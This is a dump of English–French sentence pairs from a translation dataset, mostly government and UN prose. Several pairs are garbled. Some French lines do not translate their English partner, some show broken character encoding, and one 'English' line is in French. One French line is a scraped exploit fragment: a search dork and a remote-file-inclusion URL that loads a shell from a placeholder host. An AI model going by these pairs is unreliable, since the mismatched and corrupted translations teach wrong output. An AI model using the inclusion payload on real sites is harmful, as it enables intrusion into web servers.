ngia/translation-en-fr huggingface dataset:
English: The Chiefs of Staff of the Angolan Armed Forces (FAA) and the União Nacional para a Independência Total de Angola (UNITA) signed a Memorandum of Understanding on 4 April 2002 as an Addendum to the Lusaka Protocol for the Cessation of Hostilities and the Resolution of Outstanding Military Issues, paving the way for a general ceasefire.
French: Les chefs d'état-major des Forces armées angolaises (FAA) et de la União Nacional para a Independência Total de Angola (UNITA) ont signé un mémorandum d'accord le 4 avril 2002 en tant qu'additif au Protocole de Lusaka pour la cessation des hostilités et le règlement des questions militaires en suspens, ouvrant la voie à un cessez-le-feu général.
English: The countries receiving most (together, just under €60bn) were the five most populous: France, Spain, Germany, Italy and the UK.
French: Les principaux pays bénéficiaires (totalisant près de 60 milliards d'euros) sont les cinq pays les plus peuplés, à savoir la France, l'Espagne, l'Allemagne, l'Italie et le Royaume-Uni.
English: “Many governments face severe fiscal constraints due to declining revenue.” Citing the UIS report, Mr van der Pol points out that “some countries were so vulnerable to external shocks that their economies were hit very hard whereas other countries were somehow able to absorb the impact.
French: Au Guatemala, le budget de l’éducation a été exempté de la réduction globale des dépenses publiques. Dans certains pays à revenu intermédiaire, notamment en Asie et en Amérique latine, les dépenses publiques d’éducation bénéficient de mesures contracycliques de grande ampleur visant à stimuler l’économie.
English: We pay tribute once again to the victims of all nationalities caused by the senseless violence that Afghanistan is enduring.
French: Encore une fois, nous rendons hommage aux victimes de toute nationalité de la violence insensée que subit l'Afghanistan.
English: The English version of the Eurosystem’s SEPA expectations can be downloaded from the ECB’s website.
French: La version anglaise du document présentant les attentes de l’Eurosystème en ce qui concerne SEPA est disponible sur le site Internet de la BCE.
English: This approach plays a critical role in building the Canada all Canadians want.
French: Cette approche joue un rôle de premier plan pour bâtir le Canada que souhaitent toutes les Canadiennes et tous les Canadiens.
English: Leadership, plans, policies and guidelines, communications, learning, staffing, staff performance evaluation, tools, organization, committees/working groups, risk management, performance measurement and reporting, and recourse mechanisms.
French: Les principales structures et pratiques de gouvernance dont il est question dans les profils comprennent ce qui suit : leadership, plans, politiques et lignes directrices, communications, apprentissage, dotation, évaluation du rendement du personnel, outils, organisation, comités/groupes de travail, gestion du risque, mesure du rendement et établissement de rapports, et mécanismes de recours.
English: • University of New Brunswick, Fredericton 1968 Al 11 - 1972 Al 1 - 1980 O 8 Please check with individual institutions for up-to-date information on holdings.
French: • University of New Brunswick, Fredericton 1968 Al 11 - 1972 Al 1 - 1980 O 8 VÃ©rifiez, s'il vous plaÃ®t, avec chaque institution pour la plus rÃ©cente information concernant les collections.
English: Discontinue maintenance of the Van Horne trail beyond Otterhead bridge.
French: Cesser d’entretenir le sentier Van Horne au-delà du pont Otterhead.
English: The adjustments to standard costs indicated above include staff assessment changes resulting in a decrease in expenditures of $503,500, offset by an equivalent decrease in related income from staff assessment incorporated within the changes shown under income section 1.
French: Les modifications indiquées ci-dessus comprennent des modifications des contributions du personnel entraînant une diminution des dépenses de 503 500 dollars, contrebalancée par une diminution équivalente des recettes provenant des contributions du personnel, prise en compte dans les modifications indiquées au chapitre premier des recettes.
English: Co-operatives are major employers of Aboriginal people.
French: Les coopératives gèrent leurs liquidités de manière appropriée et entretiennent généralement bien leurs immeubles.
English: Other province-wide evaluations commenced development and implementation, including the evaluations of the Parent-Child Centred Approach, the Healthy Baby program, the expanded Stop FAS program, and selected sites of the Healthy Adolescent Development strategy.
French: Enfants en santé Manitoba a également continué d’améliorer les évaluations provinciales des programmes Priorité aux bébés et Intervention précoce, évaluations qui vont dans le sens des résultats enregistrés dans les sites de recherche prévus pour ces deux programmes (1998-2000).
English: While generally restricted to a tolerance of 25 percent either way, a commission may exceed this limit "in circumstances viewed by the commission as being extraordinary."
French: Bien que cet écart ne doive généralement pas excéder 25 %, les commissions peuvent faire exception à la règle « dans les circonstances qu’elles considèrent comme extraordinaires ».
English: We should be clear – for Canada in 2004, diversity is not just a characteristic, it is a strength, and it is seen as such by most public servants and by everyone I interviewed in this project.
French: Il faut être précis – pour le Canada de 2004, la diversité n’est pas simplement une caractéristique, c’est une force, et elle est perçue comme telle par la plupart des fonctionnaires et par toutes les personnes que j’ai interviewées au cours de ce projet.
English: The loan, which followed on from the ECU 45 million loan made in June 1994, would be paid out in one instalment and would be made conditional on stipulations based on the government's IMF-backed new economic programme. [ OJ L 80, 30.3.1996 ]
French: Ce prêt, qui complétera le prêt de 45 millions d'écus accordé en juin 1994, sera versé en une seule tranche et subordonné au respect d'un certain nombre de conditions fondées sur le nouveau programme économique gouvernemental bénéficiant de l'aide du Fonds monétaire international. [ JO L 80 du 30.3.1996 ]
English: The implementation of the European Union strategy for marine and maritime research under the current financial perspective will ensure the promotion in the coming years of marine and maritime research at Community level, through the framework programme instruments.
French: Dans la perspective financière actuelle, la mise en œuvre de la stratégie européenne pour la recherche marine et maritime assurera, dans les années à venir, la promotion de la recherche marine et maritime au niveau communautaire, au moyen des instruments du programme-cadre.
English: • Strategic Directions Outlook - June 2001 - July 26 2001
French: • Aperçu des orientations stratégiques de l'ISPS - 26 juillet, 2001
English: Human settlement is believed to go back 1,000 years.
French: Les premiers habitants seraient arrivés il y a 1 000 ans.
English: Canada and British Columbia represent and warrant to Tsawwassen First Nation that, in respect of the matters dealt with in this Agreement, they have the authority to enter, and they enter, into this Agreement within their respective authorities.
French: Le Canada et la Colombie-Britannique font l’assertion et garantissent à la Première Nation de Tsawwassen qu’en ce qui concerne les matières de l’Accord ils ont le pouvoir de conclure l’Accord – et le concluent – dans les limites de leurs pouvoirs respectifs.
English: Canada committed to double its international assistance from 2002 to 2010, with assistance to Africa doubling from 2003-2004 to 2008-2009.
French: Le Canada s'est, quant à lui, engagé à doubler son aide internationale de 2002 à 2010, doublant l'aide à l'Afrique de 2003-2004 à 2008-2009.
English: At the time when API/PNR Risk Scoring was being developed, there were many pressures on the Agency and the ISTB.
French: L'Agence et la DGIST ont été soumises à de nombreuses pressions durant la période d'élaboration du projet de cotation des risques fondée sur l'IPV/DP.
English: During the first half of this year the economy grew over 5 per cent at an annual rate.
French: Pendant le premier semestre de cette année, l’économie a connu une croissance de plus de 5 % à un taux annualisé.
English: Name/Title of authorized signing officer Signature of authorized signing officer Date Top of Page Annex A - CHIPP Eligibility Criteria Eligible Recipients CHIPP offers contributions to not-for-profit organizations and government institutions engaged in or responsible for health services delivery to Canadians in either or both official languages.
French: Nom/Titre du signataire autorisé Signature du signataire autorisé Date Haut de la page Annexe A - Critères d'admissibilité au PPICS Requérants admissibles Le PPICS offre un soutien financier à des organisations à but non lucratif et à des organismes gouvernementaux qui fournissent des services de santé dans les deux langues officielles ou sont responsables de ceux-ci auprès des Canadiens et des Canadiennes.
English: The ministry produces many other publications which are available at a cost.
French: Le ministère produit de nombreux autres documents qu’il est possible d’acheter.
English: SOAs Are A First Step Toward Privatization The establishment of an Agency does not signal government's desire to "privatize" the function.
French: 2.2 Mythe :Les OSS constituent une première étape vers la privatisation La création d'un OSS ne signifie pas que le gouvernement a l'intention de « privatiser » le service.
English: • Analyses of the Technical Report Published by Imagineering Limited on Radio Broadcasting Services in the Greater Toronto Area DRB
French: • Analyse du rapport technique publié par Imagineering Limited sur les services de radiodiffusion sonore dans la Région du Grand Toronto (RGT) DRB
English: Paris Hotel / The hotel is located close to the exhibition centre of Porte de Versailles...
French: Hotel Paris / L'hôtel est situé à proximité du parc des expositions de Porte de Versailles...
English: Footnotes [Footnote 1] "Qualified donees" are other registered charities, registered Canadian amateur athletic associations, and certain other types of organizations specified in the Act.
French: Ce terme désigne les autres organismes de bienfaisance enregistrés, les associations canadiennes enregistrées de sport amateur et certains autres types d'organisations désignées dans la loi.
English: Critical load exceedance for forest soils in eastern Canada (no harvesting scenario).
French: Dépassement des charges critiques pour les sols forestiers dans l’Est du Canada (scénario : pas de récolte).
English: Deputy head of Husbandry Department, Hoang Kim Giao said local material supply can meet only 70% of total demand, forcing local processors to import materials to fulfill the market.
French: Le sous-chef des services zootechniques, Hoang Kim Giao, a fait savoir que l’approvisionnement local peut combler seulement 70 p. 100 de la demande globale, d’où l’obligation pour les transformateurs locaux d’importer pour répondre aux besoins du marché.
English: Of the 55 patients, 29 recovered without sequelae, 3 had not yet recovered at the time of reporting, 1 patient died, and the outcome was not stated in 22 reports.
French: Les professionnels de la santé devraient rappeler aux patients, aux membres de leur famille et aux soignants de surveiller l’humeur, les comportements, les pensées et les sentiments lorsque des médicaments contre le TDAH sont utilisés.
English: • Developing export markets.
French: • Développer les marchés étrangers.
English: c) must be done for the purpose of espionage, sabotage, foreign influence or politically motivated violence.
French: c) avoir été commis aux fins d'espionnage, de sabotage, d'ingérence étrangère ou de violence à caractère politique.
English: The selection board failed to do so in the case at hand.
French: Le jury de sélection a omis de le faire en l'espèce.
English: Report of the Committee on the Rights of the Child (General Assembly resolution 44/25, annex)1
French: Rapport du Comité des droits de l'enfant (résolution 44/25 de l'Assemblée générale, annexe1)
English: Final Determination - Fresh, whole, Delicious, Red Delicious and Golden Delicious apples OTTAWA, January 6, 1995
French: Décision définitive - Certaines pommes, dites Delicious, Red Delicious et Golden Delicious fraîches et entières OTTAWA, le 6 janvier 1995
English: Results Achieved by the Program The PGRP’s primary objective was to assist provincial and municipal governments to improve road infrastructure that had deteriorated an accelerated pace over the past ten years.
French: Résultats obtenus grâce au programme L'objectif principal du PRTGP était d'aider les provinces et les gouvernements municipaux à améliorer l'infrastructure routière, qui s'était dégradée à un rythme accéléré au cours des dix dernières années.
English: Farmers need forward-looking risk management programs that stabilize incomes and are proactive, heading off problems rather than just responding to them.
French: Les agriculteurs ont besoin de programmes proactifs de gestion des risques, qui stabilisent leurs revenus en enrayant les problèmes à la source plutôt qu'en ne faisant qu'y réagir.
English: SecurityFocus is designed to facilitate discussion on computer security related topics, create computer security awareness, and to provide the Internet's largest and most ...
French: ... Dork : ""Script réalisé par BinGo PHP"" # #=Bug in : bp_ncom.php # #Vlu Code : ... http://sitename.com/[Script Path]/bp_ncom.php?bnrep=http://SHELLURL.COM? ...
English: As we stated last year, our success in the reform of the Council will be tantamount to the genuine democratization of the United Nations.
French: Comme nous l'avons indiqué l'an dernier, un succès dans la réforme du Conseil équivaudra à une démocratisation authentique de l'Organisation des Nations Unies.
English: Following Stockman and Tesar (1995), we set this to unity.
French: Conformément à Stockman et Tesar (1995), nous l’avons ﬁxée à l’unité.
English: • Interest and Administrative Charges Regulations (1999-02-08))
French: • Règlement sur les intérêts et les frais administratifs (1999-02-08)
English: Volume-Weighted Annual Sulphur Level in Regular Diesel 1995-2004 Sulphur Levels (mg/kg) Name City 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004
French: Teneur annuelle en soufre pondérée en fonction du volume de l’essence, 1995 - 20047 Teneur en soufre (mg/kg) Nom Chevron Canada Limited Consumers' Co-operative Refineries Husky Oil Operations Ltd.
English: Le Conseil fédéral y propose, dans un premier projet, d’instaurer une surveillance directe à l’échelon des cantons et de renforcer la haute surveillance par la création d’une commission fédérale de haute surveillance.
French: Il vise en outre à édicter des dispositions sur des règles de comportement en matière de gestion des institutions de prévoyance.
English: Providing appropriate training to relevant State authorities and officials in the identification of trafficked persons and correct application of the guidelines and procedures referred to above.
French: Former correctement les fonctionnaires et agents de l'État compétents afin qu'ils soient en mesure d'identifier les victimes de la traite et qu'ils appliquent convenablement les principes directeurs et les procédures susmentionnés.
English: So far, 68 proposals pending before the Council and the European Parliament have been withdrawn following screening to determine their compatibility with the principles of better regulation and with the growth and employment priorities set by the Barroso Commission.
French: Dans une résolution du 16 mai, le Parlement européen a affirmé son soutien global à ce processus et son appréciation du fait que la Commission ait réexaminé ces propositions à la lumière des objections qu’il avait formulées.
English: • In the presence of severe male infertility
French: • En présence d'une infertilité grave chez l'homme.
English: We will send you back your connexion codes.
French: Nous vous y renverrons vos codes de connection.
English: First Nations and Inuit communities face continuing challenges in ensuring there is adequate housing, clean drinking water, sewer systems and other types of basic community infrastructure.
French: Les collectivités inuites et des Premières nations sont aux prises avec le défi constant de s'assurer d'avoir des logements convenables, un système d'approvisionnement en eau salubre, des réseaux d'égouts en bon état et d'autres types d'infrastructure communautaire de base.
English: The Delegation of the Russian Federation said that a holder should be able to file the priority document with the Office of a designated Contracting Party without being required to go through a local representative.
French: La délégation de la Fédération de Russie a dit qu'un titulaire devrait pouvoir déposer le document de priorité auprès de l'office d'une partie contractante désignée sans devoir passer par un mandataire local.
English: • July 26, 2006 - Police Charge Two Toronto Karaoke Clubs With Copyright Offences
French: • Le 26 juillet 2006 -La police accuse deux clubs de karaoké de Toronto d'infractions liées au droit d'auteur
English: Tracking changes also provides a new method for collaborative editorial communication — allowing you to view insertions and deletions made to an article, along with the details of who made each particular change.
French: Il offre également une nouvelle méthode de communication éditoriale collaborative, vous permettant d'afficher les insertions et les suppressions effectuées dans un article ainsi que des informations détaillées sur les personnes ayant procédé à chaque modification.
English: The departmental information you create and collect is considered an official government record.
French: L'information ministérielle que vous créez et recueillez est considérée comme un document officiel du gouvernement.
English: C. Membership and attendance 6 - 9 4
French: Composition du Comité et participation 6 − 9 4
English: It establishes the framework for the two governments to work together to promote a single, cooperative, predictable and effective environmental assessment for projects planned in Alberta.
French: Elle établit le cadre du travail commun des deux gouvernements pour promouvoir une évaluation environnementale unique, coopérative, prévisible et efficace des projets prévus en Alberta.
English: A rough path links this area to a raised bench of land to the southwest where the second Fort Espérance was moved in 1816 to avoid flooding.
French: Un sentier accidenté relie ce secteur à un replat élevé au sud-ouest, là où le deuxième fort avait été aménagé en 1816 pour éviter les inondations.
English: For a few of these species, breeding ground data are available from provincial surveys (e.g. Sharp- Tailed Grouse Lek Counts, Ruffed Grouse Drumming Counts) or from various small-game hunter surveys (Dibblee 1996), but most such data have not yet been compiled nationally, and may not be standardized among regions.
French: Pour un petit nombre de ces espÃ¨ces, des donnÃ©es concernant l'aire de reproduction figurent dans les relevÃ©s provinciaux (par exemple, les recensements des leks du TÃ©tras Ã queue fine et les recensements concernant le tambourinage de la GÃ©linotte huppÃ©e) ou dans divers relevÃ©s produits par les chasseurs de petit gibier (Dibblee, 1996), mais la plupart de ces donnÃ©es ne sont pas encore regroupÃ©es Ã l'Ã©chelle nationale et il se peut qu'elles ne soient pas normalisÃ©es entre les rÃ©gions.
English: Sakiko Fukuda-Parr, Millenium Development Goal 8: Indicators for International Human Rights Obligations, Human Rights Quarterly 28 (2006), pp. 966-997.
French: Sakiko Fukuda-Parr, Millenium Development Goal 8: Indicators for International Human Rights Obligations, Human Rights Quarterly 28 (2006), pp.
English: It is with a view to the long-term development of official-language minority communities that Canadian Heritage is providing support through its OfficialLanguage Community Development Program.
French: C’est dans la perspective de développement à long terme des communautés minoritaires de langue officielle que Patrimoine canadien offre son appui par l’entremise de son Programme de développement des communautés de langue officielle.
English: Ephedrine (l-erythro-2-(methylamino)-1-phenyl-propan-1-ol),  its salts and any plant in which it is contained 5.
French: Éphédrine (l-érythro (méthylamino)-2 phényl-1 propanol-1), ses sels et les plantes qui en contiennent 5.
English: In his report submitted on behalf of the Technological and Aerospace Committee, Mr Jean-Marie Le Guen (France/Soc) makes the point that "although Russia’s interest in cooperation is primarily financial and economic (…) very broad common interests provide a basis for the development of space cooperation between Europe and Russia".
French: Dans son rapport présenté au nom de la Commission technique et aérospatiale, M. Jean-Marie Le Guen (France/socialiste) relève que si « pour la Russie, l’intérêt de la coopération est d’abord économique et financier, (…) le développement d’une coopération spatiale euro-russe peut se fonder sur des intérêts communs très généraux ».
English: Fuel spillage after each crash must not exceed 28 g/min.
French: L'écoulement de carburant, après chaque collision, ne doit pas excéder 28 g/min.
English: They should, therefore, adopt a decisive approach in endorsing solutions that respect the rights and interests of the States and peoples of the region, as provided for in United Nations resolutions and human rights law.
French: Ils devraient donc adopter une approche décisive pour approuver des solutions qui respectent les droits et intérêts des États et des peuples de la région ainsi que cela est prévu dans les résolutions de l'ONU et le droit international.
English: This trade provided Liberia with convenient cover for the export of conflict diamonds from Sierra Leone.
French: Ce commerce fournissait au Libéria un moyen commode de dissimuler l'exportation des diamants provenant de la Sierra Leone.
English: The children who are “whole-timers” no longer live with their parents or go to school; all their activities are connected to the Party.
French: Les enfants recrutés comme « permanents » ne vivent plus avec leurs parents et ne vont plus à l'école; toutes leurs activités sont consacrées au Parti.
English: To end this first day of Ubidays, here's the Far Cry 2 gameplay presentation as we discovered it during the opening conference a few hours ago.
French: Pour en finir avec la conférence des Ubidays, voilà la présentation de gameplay de Far Cry 2 telle qu'elle nous a été offerte il y'a quelques heures.
English: On 31 March 2002, there were 3,386 minority ethnic officers in the 43 police forces, an increase of 251 (or 8 per cent) over 30 September 2001 and 410 or (13.8 per cent) more than on 31 March 2001.
French: Le 31 mars 2002, on en comptait 3 386 dans les 43 unités de police, soit 251 (8 %) de plus qu'au 30 septembre 2001 et 410 (13,8 %) de plus qu'au 31 mars 2001.
English: Subsection 96(3) is also amended so that •
French: Le paragraphe 96(3) est également modifié de façon à s’appliquer aux choix suivants :
English: Other entities have been created recently and perform as channels to receive denunciation and investigate human rights violation.
French: D'autres services ont été récemment créés pour servir de voie de communication des plaintes pour violation des droits de l'homme et pour procéder à des investigations en tel cas.
English: We need to look at and evaluate our teaching and ensure that we are effective.
French: Nous désirons examiner et évaluer notre enseignement et veiller à ce qu'il soit efficace.
English: Without fanfare, without politicians or media, they are quietly going about their business, finding old friends and building new relationships.
French: Sans grand tapage, sans les politiques et sans les médias, la population vaque à ses occupations, retrouvant d'anciens amis et forgeant de nouveaux liens.